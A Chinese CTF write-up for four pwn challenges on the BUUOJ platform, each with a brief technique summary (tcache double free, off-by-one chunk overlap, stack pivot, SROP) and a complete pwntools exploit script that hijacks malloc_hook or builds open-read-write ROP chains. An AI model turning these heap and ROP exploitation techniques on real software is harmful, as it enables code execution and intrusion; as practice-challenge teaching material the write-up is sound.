V&N在BUU上面的一个公开赛,Pwn题目比较少,前三个都是常规题
Easy_Heap
double free 爆破tcache_struct指针,然后申请空间控制struct,改tcache_entry指针为malloc_hook-0x23,然后修栈,利用one_gadget从而getshell
1 | #BY FMYY |
2 | from pwn import* |
3 | def add(size): #7 |
4 | p.sendlineafter('choice: ','1') |
5 | p.sendlineafter('size?',str(size)) |
6 | def edit(index,content): |
7 | p.sendlineafter('choice: ','2') |
8 | p.sendlineafter('idx?',str(index)) |
9 | p.sendafter('content:',content) |
10 | def show(index): |
11 | p.sendlineafter('choice: ','3') |
12 | p.sendlineafter('idx?',str(index)) |
13 | def free(index): #3 |
14 | p.sendlineafter('choice: ','4') |
15 | p.sendlineafter('idx?',str(index)) |
16 | |
17 | libc = ELF('./libc-2.27.so',checksec=False) |
18 | #context.log_level = 'debug' |
19 | while True: |
20 | p = remote('node3.buuoj.cn',27061) |
21 | #p = process('./Easy_Heap') |
22 | try: |
23 | add(0x50)#0 |
24 | free(0) |
25 | free(0) |
26 | add(0x50)#1 |
27 | edit(1,p16(0xA010)) |
28 | add(0x50)#2 |
29 | add(0x50)#3 #tcache_count |
30 | edit(3,'\xFF'*0x38) #modify tcache_count >7 |
31 | free(3) |
32 | show(3) |
33 | libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x60 - 0x10 - libc.sym['__malloc_hook'] |
34 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
35 | realloc = libc_base + 0x98C39 |
36 | og = [0x4F2C5,0x4F322,0x10A38C] |
37 | one_gadget = libc_base + og[1] |
38 | add(0x50) #4 ->tcache_struct |
39 | payload = '\x00'*0x48 + p64(malloc_hook-0x13) |
40 | edit(4,payload) |
41 | add(0x20) |
42 | edit(5,'\x00'*(0x13-8) + p64(one_gadget) + p64(realloc)) |
43 | add(0x10) |
44 | break |
45 | except: |
46 | p.close() |
47 | p.interactive() |
下载
Simple_Heap
利用Off By One 从而实现chunk extend,继而可以引起堆块重叠,改realloc_hook为one_gadget,改malloc_hook为realloc+offset进行调整栈结构以满足one_gadget利用条件
1 | #BY FMYY |
2 | #off by one |
3 | from pwn import* |
4 | def add(size,content): #7 |
5 | p.sendlineafter('choice: ','1') |
6 | p.sendlineafter('size?',str(size)) |
7 | p.sendafter('content:',content) |
8 | def edit(index,content): |
9 | p.sendlineafter('choice: ','2') |
10 | p.sendlineafter('idx?',str(index)) |
11 | p.sendafter('content:',content) |
12 | def show(index): |
13 | p.sendlineafter('choice: ','3') |
14 | p.sendlineafter('idx?',str(index)) |
15 | def free(index): #3 |
16 | p.sendlineafter('choice: ','4') |
17 | p.sendlineafter('idx?',str(index)) |
18 | #p = process('./simpleHeap') |
19 | p = remote('node3.buuoj.cn',29708) |
20 | libc = ELF('./libc-2.23.so') |
21 | context.log_level = 'debug' |
22 | add(0x28,'\n') #0 |
23 | add(0x68,'\n') #1 |
24 | add(0x68,'\n') #2 |
25 | add(0x20,'\n') #3 |
26 | payload = '\x00'*0x28 + '\xE1' |
27 | edit(0,payload) |
28 | free(1) |
29 | add(0x68,'\n') #1 |
30 | show(2) |
31 | main_arena = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 88 |
32 | log.success('Main_Arena:\t' + hex(main_arena)) |
33 | libcbase = main_arena - (libc.symbols['__malloc_hook'] + 0x10) |
34 | malloc_hook = libcbase + libc.symbols['__malloc_hook'] |
35 | log.success('Malloc_Hook:\t' + hex(malloc_hook)) |
36 | realloc = libcbase + 0x846CC |
37 | one_gadget = libcbase + 0x4526A |
38 | add(0x60,'\n') #4 ->2 |
39 | free(3) |
40 | free(2) |
41 | payload = p64(malloc_hook-0x23)+'\n' |
42 | edit(4,payload) |
43 | add(0x60,'\n') |
44 | add(0x60,'\x00'*(0x13-8) + p64(one_gadget)+p64(realloc)+'\n') |
45 | p.sendlineafter('choice: ','1') |
46 | p.sendlineafter('size?','32') |
47 | p.interactive() |
下载
WarmUP
通过程序返回的puts地址,轻松获取libcbase,然后gadget在libc文件中查找,通过name那里的栈溢出爆破修改rbp末字节,从而在返回到main函数的时候返回第一次输入的ROP链的栈地址处,其中gadget以及ROP链布局来自另外一个师傅,我只是在本地调试令栈可以迁移到ROP处
1 | from pwn import* |
2 | context(arch = 'amd64',os = 'linux') |
3 | while True: |
4 | p = remote('node3.buuoj.cn',27526) |
5 | #p = process('./warmup') |
6 | libc = ELF('./libc-2.23.so',checksec=False) |
7 | p.recvuntil('gift: ') |
8 | puts = int(p.recvuntil('\n'),16) |
9 | libc_base = puts - libc.sym['puts'] |
10 | pop_rdi_ret = libc_base + 0x21102 |
11 | pop_rdx_rsi_ret = libc_base + 0x1150C9 |
12 | read = libc.sym['read'] + libc_base |
13 | open = libc.sym['open'] + libc_base |
14 | buf = libc.sym['_IO_2_1_stderr_'] + libc_base |
15 | rop = flat([ |
16 | # read(0,buf,0x20) |
17 | pop_rdi_ret, 0, pop_rdx_rsi_ret, 0x20, buf, read, |
18 | # open('/flag',0,0x100) |
19 | pop_rdi_ret, buf, pop_rdx_rsi_ret, 0x100, 0, open, |
20 | # read(3,buf,0x30) |
21 | pop_rdi_ret, 3, pop_rdx_rsi_ret, 0x30, buf, read, |
22 | # puts(buf) |
23 | pop_rdi_ret, buf, puts |
24 | ]) |
25 | try: |
26 | p.sendafter('something: ','\x00'*0xD0 + rop) |
27 | p.sendafter('name?','\x00'*0x70 +'\x18') |
28 | p.recvuntil('!') |
29 | p.sendline('flag\x00') |
30 | p.recvline() |
31 | log.info(p.recv()) |
32 | except: |
33 | p.close() |
34 | continue |
下载
BabyPwn
此题我是没做出来的,然后看了下其他师傅写的WP,收获还是很大的,当初SROP那里偷懒没仔细研究,因为从来没遇到过相关的题.
syscall,系统调用号是15,执行sigreturn中代码,利用构造read调用在在libc + 0x3C6500上写ROP链并返回到该地址执行ORW即可.
EXP同样来自其他师傅
1 | from pwn import * |
2 | p = process("./babypwn") |
3 | p = remote('node3.buuoj.cn',29429) |
4 | libc=ELF("libc-2.23.so") |
5 | p.recvuntil("Here is my gift: ") |
6 | puts_addr = int(p.recvuntil('\n',drop=True),16) |
7 | libc.address = puts_addr - libc.sym['puts'] |
8 | p.recvuntil('Please input magic message: ') |
9 | fake_frame = p64(0) * 12 |
10 | fake_frame += p64(0) # RDI = RAX |
11 | fake_frame += p64(0) # RSI = RDI |
12 | fake_frame += p64(0) # RBP |
13 | fake_frame += p64(0) # RBX |
14 | fake_frame += p64(libc.address + 0x3C6500 - 0x10) # RDX = RSI |
15 | fake_frame += p64(0) # RAX |
16 | fake_frame += p64(0x100) # RCX = RDX |
17 | fake_frame += p64(libc.address + 0x3C6500) # RSP |
18 | fake_frame += p64(libc.symbols['syscall']) # RIP |
19 | fake_frame += p64(0) # eflags |
20 | fake_frame += p64(0x33) # cs : gs : fs |
21 | fake_frame += p64(0) * 7 |
22 | p.send(fake_frame) |
23 | ROP_chain = '/flag\x00\x00\x00' |
24 | ROP_chain += p64(0) |
25 | ROP_chain += p64(libc.address + 0x0000000000021102) |
26 | ROP_chain += p64(libc.address + 0x3C6500 - 0x10) |
27 | ROP_chain += p64(libc.address + 0x00000000000202E8) |
28 | ROP_chain += p64(0) |
29 | ROP_chain += p64(libc.symbols['open']) |
30 | ROP_chain += p64(libc.address + 0x0000000000021102) |
31 | ROP_chain += p64(3) |
32 | ROP_chain += p64(libc.address + 0x00000000000202E8) |
33 | ROP_chain += p64(libc.address + 0x3C6700) |
34 | ROP_chain += p64(libc.address + 0x0000000000001B92) |
35 | ROP_chain += p64(0x100) |
36 | ROP_chain += p64(libc.symbols['read']) |
37 | ROP_chain += p64(libc.address + 0x0000000000021102) |
38 | ROP_chain += p64(1) |
39 | ROP_chain += p64(libc.address + 0x00000000000202E8) |
40 | ROP_chain += p64(libc.address + 0x3C6700) |
41 | ROP_chain += p64(libc.address + 0x0000000000001B92) |
42 | ROP_chain += p64(0x100) |
43 | ROP_chain += p64(libc.symbols['write']) |
44 | raw_input('>') |
45 | p.send(ROP_chain) |
46 | p.interactive() |